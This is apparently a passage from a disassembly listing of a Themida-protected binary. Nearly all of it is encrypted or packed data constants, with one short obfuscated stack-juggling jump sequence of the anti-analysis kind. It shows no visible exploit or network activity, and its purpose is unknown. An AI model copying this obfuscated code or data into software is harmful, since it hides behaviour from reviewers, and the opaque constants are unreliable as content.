89F0D31Dh, 2323F9A7h dd 0F4381C3Ch, 0CCD970A1h, 0A112399h, 53758023h, 325275A6h dd 5C000008h, 296DDF75h, 0E96BEDD6h, 0A22152A5h, 1D4D3078h dd 221C158Fh, 88CBE415h, 5B8F7EC2h, 0EB1C158Eh, 0F8402C5h dd 7A5EF90Ah, 0E12A73DBh, 0D8ADB497h, 556223FFh, 1D31240Bh dd 380D5EAh, 0BEBCD256h, 0D2165F76h, 0E4D674DFh, 0BABEA5DDh dd 2060327h, 0E100000Fh, 97ACDF79h, 4C6194C2h, 0FC114408h dd 0B0C5F85Ch, 4074A7A3h, 0C981D29Bh, 7CD68196h, 2E223449h dd 0DF6FE6FBh, 0FADD47ACh, 23FF6BCAh, 0D91A1BCFh, 889DD07Ah dd 0EF3781CDh, 158EDC0Ch, 0A3D4E11Ch, 5FF4DB2Fh, 0B4A1BAEBh dd 0B33E509Ah, 74C299CEh, 396EE213h, 0C78E5BF4h, 95DE6CE7h dd 0AADAEC62h, 26ACA07Ah, 7424BCEDh, 0F35DBAA3h, 0Dh, 999EDDF2h dd 2C1F1C15h, 0FFFFFD81h, 8EA9DD31h, 17391C15h, 6DEAD11Bh dd 1D4EA1E5h, 61C1C0A3h, 515E23FFh, 19352007h, 2A84D1E6h dd 8EE1252Dh, 450E0145h, 0AFC41305h, 0BCE0BABEh, 0E50BFh dd 91C79300h, 4610495Eh, 0F656FE13h, 0AAAAAEC3h, 59F16277h dd 84C9F226h, 33487BCFh, 0E6FB2E24h, 98ADE070h, 0F95E91BDh dd 6B7CAC8Fh, 0CD8123FFh, 4D3078CCh, 1C158F1Dh, 1311422h dd 0FE1C158Fh, 94BFA8F1h, 0EE1F72B6h, 262E80D5h, 0A699DD26h dd 265B9FAFh, 457558A0h, 4A1C158Fh, 4E97B99Dh, 7E6BE41Dh dd 61ECACD7h, 8F4DCEE2h, 2F7F1346h, 725DBA49h, 4387CD8Bh dd 251FBFF0h, 1E000000h, 1D4D3078h, 221C158Fh, 90CFE415h dd 291C1599h, 0FFFCB836h, 0FE5940FFh, 19A0B389h, 64AD636Ch dd 1D9CCD20h, 7EC8C0E6h, 0F9AE7C9Bh, 0E525F23h, 0F9AEEC1Fh dd 0C5E76D23h, 3074BD8Fh, 0BF981A3Dh, 0B3FC4F93h, 1268516Fh dd 5707865Eh, 6380CF44h, 11155EF4h, 0C595D17Eh, 625A5E31h dd 222h, 8ED9DD61h, 0AEDC1C15h, 0A487C68Fh, 1C158E74h dd 0F0236C79h, 90D47ADBh, 158ED5A1h, 53FF581Ch, 183C1C0Fh dd 0F55A9FD4h, 0D5BC9898h, 0BAEACD80h, 0BF1C158Eh, 0FF3869B2h dd 8CC29350h, 9ED1E359h, 9F2174A8h, 1E354172h, 246DE174h dd 0E668EDE0h, 97B79EB3h, 0C5A06453h, 0D3831C15h, 0C469997Ch dd 59661C15h, 7FD9CC10h, 0FA7991D5h, 93BF9855h, 0AFB3FC4Fh dd 0EE62F4DBh, 61836BDAh, 3263FFB2h, 520A56F9h, 0D95DBA49h dd 196h, 77EFCBDDh, 6A9CCCAFh, 94A11C16h, 6E8C2D80h, 7D27975Ah dd 8392718h, 77CD989h, 0AE13D7BDh, 5CA6EFB2h, 0CBB4C54Ah dd 0E91A9679h, 7BD38275h, 3DA71F31h, 9B19FA2Dh, 0E9FF076Ah dd 0F5391341h, 2C0F59A2h, 23FA51E9h, 6E5DA1AEh, 23FA4B3Ah dd 75B99BBDh, 377BD382h, 0DDAAA51Ah, 5D0946D9h, 5A5E230Dh dd 612Ah, 12472E00h, 7CAD0044h, 0C8C0E6FDh, 90BE977Eh dd 302E55Fh, 0C523F998h, 976A9A7Dh, 626F23F9h, 0BDC29A31h dd 32079399h, 0B3C50F58h, 4C3D4B57h, 68DC0D46h, 292B2D14h dd 654892E5h, 23FA7035h, 0E7FC2D3Ah, 23FA6FB3h, 0EE322236h dd 0B1F55BFBh, 0BCC9862Dh, 3E2A25B8h, 5A5E426Eh, 0BF0Dh dd 7CD90C00h, 0E72B2332h, 14074B94h, 0D4C70B3Fh, 9689CD81h dd 0E65C8FBFh, 7EED88D4h, 0DE0FADCEh, 1628E8C9h, 59FDE41Ch dd 2F60B3F7h, 0C50F3F16h, 286A9A7Dh, 626F1C16h, 0A0C6CE31h dd 2894C4A7h, 8C991C16h, 579BB1A3h, 2971BB04h, 16291646h dd 0F206131Ch, 227E0808h, 0C84273F3h, 0FD4E0EE5h, 0A546123h dd 0E71A3023h, 0D7C981D2h, 0BAC24416h, 0A601FE22h, 3D00000Bh dd 0F3083B1Dh, 0A8BDF066h, 586DA0ACh, 0C215400h, 9CD00347h dd 25252E3Fh, 0D87ADDF2h, 8AC690A5h, 3B134257h, 5639A308h dd 23FF6F26h, 0D96E6F23h, 889DD07Ah, 6D9D80CDh, 8F1C158Eh dd 158E7CACh, 0D74811Ch, 984B700h, 8ED27CD9h, 6194BA9Bh dd 42C42h, 0A7424700h, 0CA141C32h, 0FF61F9E7h, 0F3697623h dd 9535F71h, 0E362F326h, 0EACD152Bh, 1C2360BAh, 0EA81B2BFh dd 76AA99DDh, 0DE1C2360h, 3E86044Bh, 23612B5Bh, 0F223301Ch dd 0B74D025Ah, 3A2295Dh, 1B2D0000h, 20C0884Ah, 41C0F19Ch dd 158EA9DDh, 8F0B301Ch, 798F1C15h, 65442771h, 4A23F998h dd 5397B99Dh, 1EC5B700h, 26BAC47Ah, 0ADF0502h, 56040000h dd 9FBACF02h, 0E56F84B7h, 391F3467h, 80D3E81Bh, 786397CAh dd 0B9EC5EF5h, 6C9FB3A4h, 1E51FF57h, 0CF024C09h, 0ED1D006Ah dd 0F223FF6Fh, 7CD93D3Eh, 2E4088D2h, 1FE9CDE3h, 0ABDBC04Eh dd 2E1C1673h, 0B5C22929h, 42A1084h, 19271841h, 7ACD113Bh dd 4CD38B66h, 175BF163h, 4E317BC4h, 24005A63h, 0AA91DBE8h dd 0FD4D06AEh, 0D91D66B9h, 7CF25586h, 0F8DE126Ah, 0E0C3AD93h dd 23FF12B0h, 0D57A0ADh, 0FF12FA2Ah, 0C1F2FF23h, 4D9793B5h dd 0E8E6836Ah, 0FADD252Bh, 1C15E5CAh, 0B7575122h, 6ED56F04h dd 8C993061h, 56FC5B42h, 8265AD23h, 1C165352h, 4194A57h dd 1C1653F8h, 0E6191538h, 88CC86D1h, 4A8EC095h, 0FC464264h dd 53A1D1B4h, 919E1C16h, 4803E660h, 5B23FA72h, 0A71D5C4Eh dd 6387BAC3h, 9F866h, 0E96FEB00h, 9EB8A1B6h, 4EFE566Bh dd 252061Bh, 0B199BACFh, 0DC614A7Eh, 8BA0D377h, 3E5386CCh dd 0F0053818h, 51B6E965h, 70D404E7h, 25D923FFh, 0FDC0E624h dd 4049ABC3h, 7EC8113Fh, 0FFF1B49Bh, 60AAB723h, 4174DE79h dd 0E3272B2Ch, 0A1ADA88Fh, 66EE6A5Dh, 5586CF22h, 0E12B2749h dd 0E8A513FEh, 478B982Bh, 5F424F61h, 1C161F2Fh, 8CD61F2Ch dd 0FA372EA9h, 2F40123h, 0BAC3FA8Dh, 76B6B3D7h, 6D000009h dd 23386BEDh, 0D8ED2036h, 889DD07Ch, 3C5184D0h, 0CC003317h dd 55F55EEFh, 84A0D22h, 0BA96C0D5h, 6BE37287h, 8669D338h dd 23FF7156h, 0D99E9F53h, 9B8ED27Ch, 1B5094BAh, 240B79D6h dd 640D2135h, 0A051EABEh, 9DB8D102h, 45A34FE6h, 0BF085F57h dd 0E9A0F88Ch, 0ADC75DBAh, 0C6000001h, 7EC8C0E6h, 0F990C89Bh dd 5801E823h, 3667BAFEh, 5F4E929Fh, 23F9912Bh, 0C5A8A9AEh dd 23F99095h, 448D9Ah, 0EE6A4C0Dh, 86CF2266h, 9FB02542h dd 44BDEE2h, 5E9D3068h, 16E375Ah, 0D9360000h, 9B8ED27Ch dd 634A94BAh, 0C4175BF1h, 0A8BA3093h, 4A7D0017h, 0A3778B30h dd 0E11429E7h, 0E6081445h, 9AB9A0EAh, 0E8196CB0h, 0FBDE266Eh dd 1C15D9CBh, 7D92C3D0h, 23F9EE3Ah, 0ABA7B05Dh, 0EDD01862h dd 23F9E6BDh, 0E66A6015h, 0D9405D9Fh, 38279BCCh, 23FA8304h dd 0EA76D96Ch, 5A5E6BB2h, 3EB9h, 9178B800h, 4D598AC4h dd 2E52F3Bh, 23F99803h, 0CE09B3C5h, 0A5CE74FFh, 5A05DD74h dd 59F6B015h, 2B1A5EA7h, 23FA00F7h, 0AA798B5Fh, 204B2099h dd 2D225B8Ch, 5E246941h, 0B60E5Ah, 0D90D0000h, 9B8ED27Ch dd 364892B8h, 7630A55Ah, 1343264Ch, 181C15F4h, 1D91C20Bh dd 0DF232B2Ah, 1E469ECh, 1C15F3D1h, 81D8C1CEh, 0F53E91D5h dd 508063ABh, 6A1C15F4h, 15F45787h, 0E047541Ch, 2E3FA2D3h dd 1C161035h, 2771DD78h, 8391540h, 7F8B9DA5h, 4D06ED35h dd 1C66B9FDh, 16080939h, 0C8F9061Ch, 0FCEEDCB3h, 78C2CF23h dd 5588C291h, 45371340h, 0BAC1E440h, 0BE1B183Ch, 25000007h dd 0DBF02335h, 90A5D87Eh, 405588C4h, 0F4093C18h, 84B8EB5Fh dd 0D3D1627h, 0C092C5DAh, 72DE788Dh, 232B2A3Fh, 3E218BF0h dd 23FF730Eh, 0D956570Bh, 889DD07Ah, 0D34E81CDh, 8ED27CD9h dd 6194BA9Bh, 5442h, 21044C00h, 1C158EF1h, 31B0E1EEh, 9ADC6678h dd 5E17BDB2h, 9E8F7D2Dh, 4F368088h, 0A4B0A806h, 80C40D60h dd 9F82FC2Dh, 240019B2h, 42AA0ADh, 787096C7h, 0CD5F4B2Eh dd 0D7E42BE8h, 69C861h, 8AD20000h, 164677A7h, 8366741Ch dd 1C164753h, 0D1024B58h, 0C7C0E652h, 158EB4E4h, 0C3ACB91Ch dd 287BBF95h, 67B295DFh, 3923F9A2h, 4A0252h, 0F9A1ED1Dh dd 0B4E5F223h, 78CC101Dh, 367A1E30h, 0C844BD0h, 0F9BCF727h dd 0B6E7F423h, 0F9AC6CA1h, 2D229723h, 65AFBBCDh, 15643782h dd 2C5F6C1Ch, 0C785CFB6h, 0B57396h, 0E6780000h, 977EC8C0h dd 0FD5094C2h, 0DB0C4014h, 628F7E61h, 0FF0C23FFh, 11C704E8h dd 9CCCAFF7h, 0A123FF61h, 252A6394h, 53701149h, 6D165Ah dd 78150000h, 5A8BC591h, 0E630384Eh, 0FF621503h, 768D9A23h dd 0C69F5592h, 708DDD89h, 4CAA5A53h, 0A9000000h, 8CC69178h dd 0B8C4F548h, 86B69996h, 831C158Eh, 0E32D76h, 23FF6213h dd 0C0977E8Ch, 16FB4E92h, 23FF61E6h, 768DD6E3h, 0C69F5592h dd 4C8DDD89h, 2CAA5A53h, 0AE000000h, 312391C7h, 3B84D71Bh dd 0CD90A4F7h, 0FDEB43ADh, 78FC7BACh, 42783166h, 95273B13h dd 8095C691h, 1C166321h, 0FEF7A99Ch, 0E6AEFFFFh, 9B7EC8C0h dd 23FF6180h, 250C5663h, 85D81C2Eh, 6899BD9Ch, 0F0F80EF4h dd 34D7C3A6h, 0BFCC2BE9h, 7773957Bh, 0BA9DE52Dh, 1C158E8Ah dd 3C51828Fh, 23FF6225h, 0F9CDDF27h, 5472CFDEh, 8D0E3E23h dd 0FE0B23FFh, 0DF2936CDh, 0ABF561F8h, 8D508063h, 404D23FFh dd 82A4AC0Fh, 11F43C86h, 23FF8CE1h, 0BDEDD0DEh, 0C223FF8Ch dd 0C13B6CB5h, 0E6C6779h, 0F95B5862h, 0D3CCB3C8h, 0B2BF2BE8h dd 0F5D82068h, 1C162FC5h, 0D83F0B48h, 0D5819ACBh, 3837487Bh dd 71B43CDBh, 0C1376AE4h, 8CC49279h, 3B9877A7h, 366774B4h dd 3215381Dh, 0B43B9902h, 6DB1FA07h, 1F696187h, 5A17D90Dh dd 0BF1256FEh, 81E251ABh, 3C596E9Eh, 155E6BB4h, 3B226AE4h dd 9CEF3319h, 7C37566Bh, 2734BC20h, 113ED9E3h, 83CD81D4h dd 7828583Bh, 1825BBD8h, 0E76F84E7h, 1322BD9Eh, 4F98A047h dd 3EA5B70Bh, 29589461h, 134842AEh, 723621FFh, 25312841h dd 54AC9E1h, 98E26EE8h, 68ACA6B1h, 6C81E415h, 0BD8DC6EAh dd 99DD2679h, 0E576D40Fh, 0F1D41C6Ah, 0BBD7AAC1h, 6780B1BEh dd 0B32E61EFh, 85C9C1E6h, 478BC392h, 55331CC3h, 3667E76Eh dd 0E86D052Ah, 86CF2266h, 6C173E53h, 8042A5CCh, 0F10851CEh dd 3029CF0Dh, 0BB93C21Fh, 0E435545h, 0D8280421h, 3A1F3869h dd 9D84D81Ch, 3569ABCh, 808DBDD2h, 5EF91C16h, 0F165F4F1h dd 0BA96C0A7h, 0C9B02689h, 7B94C58Fh, 423175DBh, 1C16810Fh dd 977D883h, 0D67D3522h, 94DD3074h, 3F14FD50h, 4374C70Bh dd 0D0842C2Ah, 0EF00337Ch, 1C16A104h, 6091C1A4h, 818E1C16h dd 4D99D038h, 6DA05DBAh, 0A4FFFFFFh, 74B89ABDh, 7871F021h dd 0D0D8FA66h, 0F4256B74h, 0A1D47ADBh, 6E85C98Ch, 31A3421h dd 8E56A39h, 0A5B7014Dh, 0AD2933A3h, 17BDEEA9h, 0BAA35109h dd 44D65Dh, 0E6D50000h, 367EC8C0h, 0CD342C24h, 0D7B3C789h dd 0DA84BDE3h, 0C553948Ah, 4A364B7Ch, 3F24005Bh, 0B91E4E31h dd 0E1B23FEh, 8CCAAEC5h, 0AD4D02D1h, 0FD458F9Bh, 0DE0F3F16h dd 0E88BDDC9h, 4FC5D22Bh, 5AB6h, 0C0E6BB00h, 0F9562D28h dd 71EDCF63h, 0CE2165AEh, 6C583B85h, 0E124003Ah, 6AD9BDD4h dd 195DF960h, 4DFEC7FBh, 6F58D287h, 0C690C9E7h, 0A2E62F82h dd 47440B8Ah, 34C48B68h, 2321512h, 723FF04h, 8467B1FAh dd 2BE8D798h, 57F3600Dh, 0C1A8980Eh, 7AA4F398h, 4F460E2Ah dd 7856D506h, 8F1D4D30h, 15221C15h, 0C48ACBE4h, 1E42C80h dd 1C158ED1h, 0FE228821h, 4FB60465h, 0EC716677h, 29729621h dd 0D876DFF8h, 0B482FA5h, 0CBDDFB3Fh, 13A9C143h, 0E4F0216Ah dd 997CC6C2h, 23F9E656h, 54226476h, 0BC9CA28h, 0F23643DAh dd 0F9EECF03h, 0ABA43723h, 5EFFEFBFh, 608C5Ah, 0E68B0000h dd 9B7EC8C0h, 23F9979Ch, 25518A9Ch, 8C4A86B7h, 4EE2FE6Ch dd 95C60FD0h, 0C0A7F1FEh, 2546EC93h, 0A55FCCh, 0D38073B7h dd 97E03377h, 0CF03F266h, 5223F991h, 0A4A8AC04h, 80C40D60h dd 4084C68Dh, 0AD3A15BCh, 1265A9ABh, 1D32C5C9h, 85D1886Fh dd 25BDEE41h, 5A5EA075h, 0FEF2h, 7CD9F100h, 0B89B8ED2h dd 0A2EB63F2h, 0DFC20A5Eh, 1C158EAFh, 556E9FACh, 170A4E00h dd 0CCDD103Eh, 1C159363h, 1F90F362h, 9CB8A024h, 110CC088h dd 0D58095C8h, 0CFE13579h, 9981828Bh, 7D89BA43h, 32155F6Bh dd 23FA0AEBh, 374993A0h, 1BBFF5C9h, 288BBCFCh, 0EAF8A0B2h dd 4399924Eh, 0E8E00612h, 28DEBB9Eh, 0B4C12BE1h, 0F2CC586Ah dd 33635DC2h, 0B0D870F2h, 0E7186163h, 7CCD866Dh, 18566999h dd 7059661Ch, 0F1246DE9h, 0E1D377DCh, 0C2A5BABAh, 2AA9A6CAh dd 0B9000002h, 6F84B7A1h, 24396CEAh, 0D4E91C30h, 889DD084h dd 184C7FCBh, 0A1A9AAB3h, 54FE596Eh, 64A0C21h, 0B797BED3h dd 0D2B51F84h, 23FF77A2h, 78F2F3A7h, 478BC591h, 32B1E0F4h dd 0C4AF9397h, 71D97A93h, 9D194027h, 0FD5094B6h, 0AA2083B4h dd 0C6FB5062h, 65355D1h, 168BF121h, 0B0E1EE1Ch, 69F0BE97h dd 14A0C4Dh, 780A85B8h, 4589C391h, 93B5C1F2h, 6B6A4D97h dd 4D23F998h, 2E5FEF66h, 57468A97h, 23F99823h, 5B9FAFA6h dd 7E61EE68h, 23F9984Eh, 0B1F53E4Bh, 58351A99h, 51388054h dd 0B1044802h, 0F9979CCCh, 6394A123h, 1149252Ah, 165A5EAAh dd 0EAh, 0D27CD915h, 5B107688h, 21DBF076h, 311D38h, 0DF0388Ch dd 1C15FADDh, 8BA4D5E2h, 4F3E82C8h, 1C15FFE6h, 0ADE06EE7h dd 4D91BD98h, 0FF494167h, 0FA05D51Ch, 83CDDA23h, 4F93B79Ch dd 0F268CBFCh, 28C122E0h, 0C4F561A4h, 7ACF96B8h, 0CCF95033h dd 2007519Ah, 86D91D39h, 0BCF8DB55h, 0F12BE15Bh, 0A5B39AE4h dd 0DB786BAFh, 8FD82B6Fh, 8F326245h, 2A371C17h, 0BB987FF9h dd 0C475C8Fh, 5397B79Eh, 1059F560h, 82BCD5C7h, 0C4E8C2A6h dd 0E4C7h, 0FD5BFF00h, 0B2A4B5CAh, 62EA6A7Fh, 163E1A2Fh dd 0C585CEE3h, 0F07D5E92h, 9FB4E763h, 52679AB8h, 4194C04h dd 65CAFD51h, 79E818FBh, 31E523FFh, 0D07AD930h, 0D2ED7486h dd 0A0FDFF63h, 7FB09EB7h, 7B5EA61Ch, 1C15EA4Bh, 0F9124350h dd 60A8F25Ch, 15EA4D7Dh, 1445521Ch, 917836B1h, 77A78AC5h dd 741C158Eh, 0D4ED1E67h, 9689CD81h, 0FD458FBFh, 8EA2D2B5h dd 9AA71C15h, 158E85B5h, 4C7D8A1Ch, 0CD81D4E9h, 28583B83h dd 251C158Fh, 6F84E718h, 0D61E68E6h, 158EC3F3h, 0D202E51Ch dd 0D71C158Eh, 255663CAh, 3C95C2B1h, 3C186D12h, 7CD9CC10h dd 0E9848ED2h, 0F89F1966h, 83CB8A57h, 341A3B50h, 0F95BFDF0h dd 3F10ABB5h, 519BB3A2h, 1B332209h, 123D0636h, 0C5F6036Dh dd 46084D62h, 30502h, 690A0000h, 0D781D93Ah, 99B5A093h dd 5CF46255h, 20322518h, 0E06AE9DCh, 0A0AAA99Ch, 65EF695Ch dd 26262E21h, 0EC6AEFE2h, 66686AA8h, 54000044h, 8124048Fh dd 42404h, 89560000h, 4C681E6h, 83000000h, 348704EEh, 4895C24h dd 3B4C6824h, 34890000h, 0BE565524h, 567205A7h, 8102E6C1h dd 21BE88C6h, 5EF589AEh, 545DE889h, 8324348Bh, 0EC8304C4h dd 24048904h, 8B08468Fh db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 jmp loc_598345 ; --------------------------------------------------------------------------- db 19h, 82h, 0Fh dd 125F741Eh, 8032E3F0h, 0EC2FB897h, 0C50307E9h, 26A2E0FFh dd 7CA36220h, 0D4F4180h, 67A143BCh, 512D57E1h, 4AEA3144h dd 74C313F5h, 0C1634FABh, 23A15EB3h, 5791A02h, 0BE82535h dd 0CF000000h, 0E68ABBF8h, 0DAB4037Bh, 0DC80AE3Ah, 810F5FB5h dd 0 dd 66F0C781h, 0D0810000h, 3B40CEC5h, 68h, 0C7CC8000h, 5E85Bh dd 8E210000h, 0E93F99E2h, 0Fh, 0E913FCA6h, 0F03C6F4Dh dd 0D425C6Dh, 5AEB2641h, 0F1F0C8Bh, 587h, 0CFCEBE00h, 0F181263Eh dd 2327ADF3h, 8186BEBAh, 4DC18158h, 666C4A7Fh, 81706DB8h dd 26E1E1F1h, 5FE88116h, 512158B6h, 7334CE81h, 48F2891h dd 58A0F1Fh, 0BE000000h, 588FC29Fh, 0EB8377B4h, 81C38B04h dd 0FF99B4FBh, 0A9850FFFh, 0FFFFFFFh, 28Bh, 0E9D78B00h dd 12h, 550A24F7h, 7C809E01h, 2 dup(0) dd 0C9E90000h, 6800000Dh, 7E9EF2Dh, 0FA904AE9h, 0F07668FFh dd 40E907E9h, 68FFFA90h, 7E9F1F3h, 0FA9036E9h, 0F30268FFh dd 2CE907E9h, 68FFFA90h, 7E9F497h, 0FA9022E9h, 0F6D168FFh dd 18E907E9h, 68FFFA90h, 7E9F8C3h, 0FA900EE9h, 0F9C168FFh dd 4E907E9h, 4EFFFA90h, 0AAC05476h, 71DB1D1h, 677D112Bh dd 0CAE07488h, 663FD3EFh, 0D0ECC780h, 2E4C263Ch, 90A6849Ah dd 0F109E6FCh, 7DFAAA5Dh, 13AB4D86h, 56800F54h, 5B296179h dd 0B3D2667Eh, 582D2DCh, 13A6B38Bh, 7B2860C9h, 13A6B480h dd 4B0E3647h, 0B4976CE9h, 0DA4313A6h, 4759714Eh, 7809936Ch dd 8D6705D8h, 109C376Fh, 48E31B33h, 569736h, 92C00000h dd 0A0CCB330h, 218A1442h, 4A3EC0Fh, 42A7829h, 0AFFF58C0h dd 0B5D0AF4Dh, 7F5EACFBh, 0AAE23B62h, 4E04FD0Fh, 0C13A60Ch dd 3DBE6BA3h, 8A13A60Eh, 6E91CD79h, 28D87763h, 2B249C6h dd 0C02013A6h, 0A602BC43h, 58B11A13h, 0A1D9EDCCh, 0B655F406h dd 7E000000h, 29617956h, 2C64805Bh, 1072815Eh, 42A0EC93h dd 96016A14h, 1442A0E1h, 0A363FD6Dh, 2C9D8056h, 74427AD3h dd 0F6EB7F97h, 1442F6D4h, 0D66A825Fh, 93CBE3C0h, 8BDBD3BCh dd 0A6E3140Eh, 5DF15A13h, 0D5D513Eh, 40221F90h, 0DCB75314h dd 8BC620B9h, 4099B983h, 0C4146D08h, 0CFE7C462h, 0ACC8A3BDh dd 0B270218h, 352519B7h, 3AC00062h, 0B8Bh, 0F589AB83h dd 52E606DFh, 0B246603Ch, 15A9BD9Ch, 740824FFh, 21FC559Bh dd 815B7105h, 0DBB9CF63h, 3E1B31C5h, 2FDF9226h, 0AB4FCDB2h dd 0B5448913h, 0F5F7B56h, 67799771h, 3A522F45h, 56704CEAh dd 4F71831Eh, 0E720927Eh, 42C1202Dh, 0C3CCEF01h, 0AD8077F4h dd 0E54E1442h, 0FB0AF885h, 0F952765Ch, 68E547A9h, 14429093h dd 0AF76D63Fh, 0C8FE9423h, 551B1426h, 2313A6EBh, 5A92AA87h dd 812E66BFh, 13A6EBFEh, 0EB233D19h, 0F22A3E1Dh, 1D55118Eh dd 0C9F0B4C5h, 0EB15EA67h, 58C113A6h, 0C6946B46h, 0A002D877h dd 0A6E75C23h, 7F91FA13h, 0E3E0h, 79560900h, 25972961h dd 0DF5CFD09h, 1442D718h, 49ED4DB6h, 0FB13F0BEh, 0BDCF28C3h dd 74ACC8A3h, 4282E5C7h, 3B533014h, 0EE6BCDA7h, 14428A09h dd 304A5CC5h, 2C033B53h, 99FB4B63h, 0CE061EFBh, 8A33C833h dd 369F1442h, 4FC94624h, 1513A69Eh, 0E553CEA5h, 1DB8F008h dd 1C5C99BDh, 0A6CED89Fh, 0B40D7613h, 0E7A8C75Bh, 0DEFA77C7h dd 0AC144028h, 7855F343h, 0F517EC69h, 5AC31B89h, 58B6A101h dd 9FD7BDF1h, 3611AF8Dh, 9570861Ah, 0E4B52579h, 38786234h dd 0A42B2h, 0D2F4CC00h, 2F4F283Eh, 8FA9859Bh, 0F206E5FBh dd 516D485Eh, 451EE4BDh, 0A4BA4E6Ah, 218ACCAh, 647A0E24h dd 28DB6F87h, 5004FB78h, 8DD213ABh, 687B56FEh, 42A014EBh dd 0E68DB314h, 8C45B4ECh, 6A46D23Bh, 4D63F750h, 0F3C45870h dd 11617956h, 437B9973h, 2D096A8h, 5A790D25h, 0FAD27235h dd 538BA983h, 232C58B8h, 953383DCh, 0AC8A9CBCh, 0A60A592Fh dd 76AE1713h, 0A60A37C9h, 0C1859613h, 7773629Dh, 65C73D8h dd 4D9C0000h, 9F1C6C42h, 13A68B21h, 21CE066Fh, 13A68C5Eh dd 0F4A8DCEDh, 0D877F10Bh, 0FC10EF8Dh, 437B9370h, 33F796A8h dd 20000006h, 0CCB33092h, 4F1442A0h, 88235B71h, 99BCCE37h dd 0BF44C1F6h, 1B1442A0h, 8C0959B2h, 13A6A6D6h, 36E31B84h dd 13A6A645h, 0CEA7F0CEh, 82DB76AEh, 83A37C4Ah, 0E2B1A94Bh dd 7C1C84FCh, 0C48CB87Fh, 732B5B6Ch, 0D877B38Ch, 5E549h dd 0C7457200h, 50A00E81h, 0A68C05D3h, 0F673D313h, 13A68C01h dd 20B64CDh, 0B3A5EDF7h, 8E206F9Fh, 0B76ADC3Eh, 617D5845h dd 0EB2E8E29h, 0DFBB47EAh, 5CBAB3C5h, 2B805F9Eh, 8597B18Dh dd 0E42B0AA6h, 3992EB0Bh, 54704BE9h, 0A96F811Ch, 0A1F1BDD2h dd 7BDA8724h, 1A6AD388h, 7183A37Ch, 18F593h, 1C3612B0h dd 654D42E4h, 1D9689CAh, 7A90B2C4h, 0B331859Dh, 8ECE3E6Ch dd 8C5C84Eh, 71490000h, 0CCA5BB4Fh, 260218ACh, 8362780Ch dd 0EAC5DB6Fh, 9B613ACEh, 37CBE7C2h, 95294721h, 0F78BA17Fh dd 58EC04E1h, 8378F5A5h, 4F13AB51h, 30927B0Ah, 42A0CCB3h dd 0F218A14h, 8C0918F5h, 1442A0F7h dword_5E16C0 dd 906EFA63h, 4EA7427Ah, 5E503F16h, 4D7B910Eh, 90F913ABh ; DATA XREF: Themida_:00583974o dd 4E4407FCh, 0AB0213ABh, 92263E1Bh, 0E6F846B8h, 5E01647Dh dd 4668294Ch, 568A79F6h, 0EF5813ABh, 0F40CE9B7h, 56806B60h dd 351313ABh, 98758B1Fh, 56770C89h, 7AE313ABh, 433CE921h dd 0C1EC54A6h, 3A17063Eh, 9B788E22h, 0DD9E4B83h, 4D13AB56h dd 198BCE76h, 0BFCED0A3h, 2F495B0Ah, 0CCA63A52h, 5416ED6Ah dd 5BC413ABh, 13C7749h, 56060000h, 38522E79h, 0FBD9A7DFh dd 623AADDEh, 0FCD7BE46h, 0DE2E87E0h, 178FF7Ch, 6DD61442h dd 13E8955Bh, 84144201h, 80578FA7h, 542BA80Fh, 2144201h dd 17708A66h, 9BF16EBEh, 5913ABECh, 0A4529CF0h, 0C3036A15h dd 7B63Dh, 5E805800h, 0BBDBB4CAh, 1B351127h, 7E927187h dd 0DDF9D4EAh, 0D18A7049h, 3046DAF6h, 8EA43856h, 0F0069AB0h dd 0B467FB13h, 53F08704h, 195E13ABh, 2E79568Ah, 0A6DE3753h dd 4E35B214h, 0C1442A0h, 9C7791A3h, 0B012EC80h, 42A04C33h dd 0DAF2CF14h, 4DB607A2h, 2D43213Bh, 8EA68399h, 0ADC1A03Eh dd 8863799Bh, 310D6039h, 0EB44DF17h, 0A19D11B3h, 42E7D2B8h dd 8A5890E9h, 1D5B93AFh, 522D1054h, 34CBA236h, 62E05B76h dd 94CCEAC4h, 1348E7F9h, 68000000h, 9DD5EDCAh, 9E1BF002h dd 82h, 92A88624h, 0F492AB80h, 2BC6FE18h, 0A22FF19h, 0B05A25D2h dd 0E4BD1442h, 0E5BE8CC4h, 864F8DC5h, 461D92DEh, 2A421F1Eh dd 8CA28096h, 5549CA3Ch, 0F8F44CD6h, 2C8E20E6h, 42F0C8AFh dd 911D8614h, 0C66199B7h, 0F0C1BBB4h, 3FC01442h, 243A1807h dd 7856BF90h, 7E5C2A62h, 39B61868h, 1442A042h, 0CF95A710h dd 0A19CC891h, 2419ADC3h, 1442A8C6h, 14BF3F8Ch, 9C18E05Ch dd 41FFFFFEh, 3399Eh, 20922D00h, 0A27E5C71h, 55B55088h dd 3244149Ah, 0EB233B18h, 429DAD3Eh, 0F6AE7514h, 2C4C25C3h dd 2D4759F4h, 4AE83850h, 8C1E566Ch, 429D680Fh, 247DE614h dd 8FA1BD98h, 627A576Dh, 9D927D2Ah, 48251442h, 6E21F830h dd 2C8EF040h, 429DC8AFh, 0B1D8614h, 0AB70FC12h, 9D1A7A13h dd 13A88AE6h, 973DD465h, 87D86DAAh, 8771C51Eh, 0E26A162Fh dd 6211CA2h, 15ED0000h, 70495FF3h, 0CAA6BC50h, 27061CB0h dd 8E697F13h, 0FF05DE72h, 0DB6F8B66h, 39CDEBC5h, 9B2F4523h dd 0FC90A885h, 671C9949h, 0F313AB54h, 79561FAEh, 805B2961h dd 0DDBAD064h, 401B31C5h, 431EEC24h, 0E8B1EF27h, 0CAE6C1BCh dd 1DA05F36h, 6F35E05Ch, 5E000002h, 326A444Dh, 0AC5E1485h dd 762E3FEAh, 38D0D143h, 0F86D226Bh, 0D1F40BE6h, 4FE1E16Dh dd 1000002h, 76B05F8Fh, 1628513Ch, 6A444D41h, 0A0E69D1Ah dd 0B741442h, 5EBB26D3h, 0CFE0EAACh, 1E18E797h, 27BDE16Dh dd 0E6000002h, 1A6A444Dh, 42A0EA9Dh, 0BF0F7814h, 0A01BE05Dh dd 4EB71442h, 82E4763Ch, 42A07E05h, 6173DC14h, 0AC5E7968h dd 551122EAh, 6D1ED629h, 1F4FFE1h, 4D280000h, 9D1A6A44h dd 1442A0EEh, 2EDB137Ch, 0EAAC5EA3h, 1BF896E8h, 1E30CB03h dd 6699C581h, 6FE16D1Eh, 1CEh, 61795698h, 337E5B29h, 3A084054h dd 720D455Dh, 0D2CC019h, 0BB973582h, 0A04136A1h, 0A40D1442h dd 2799FB4Bh, 44200ED9h, 19F88437h, 0F0FAF305h, 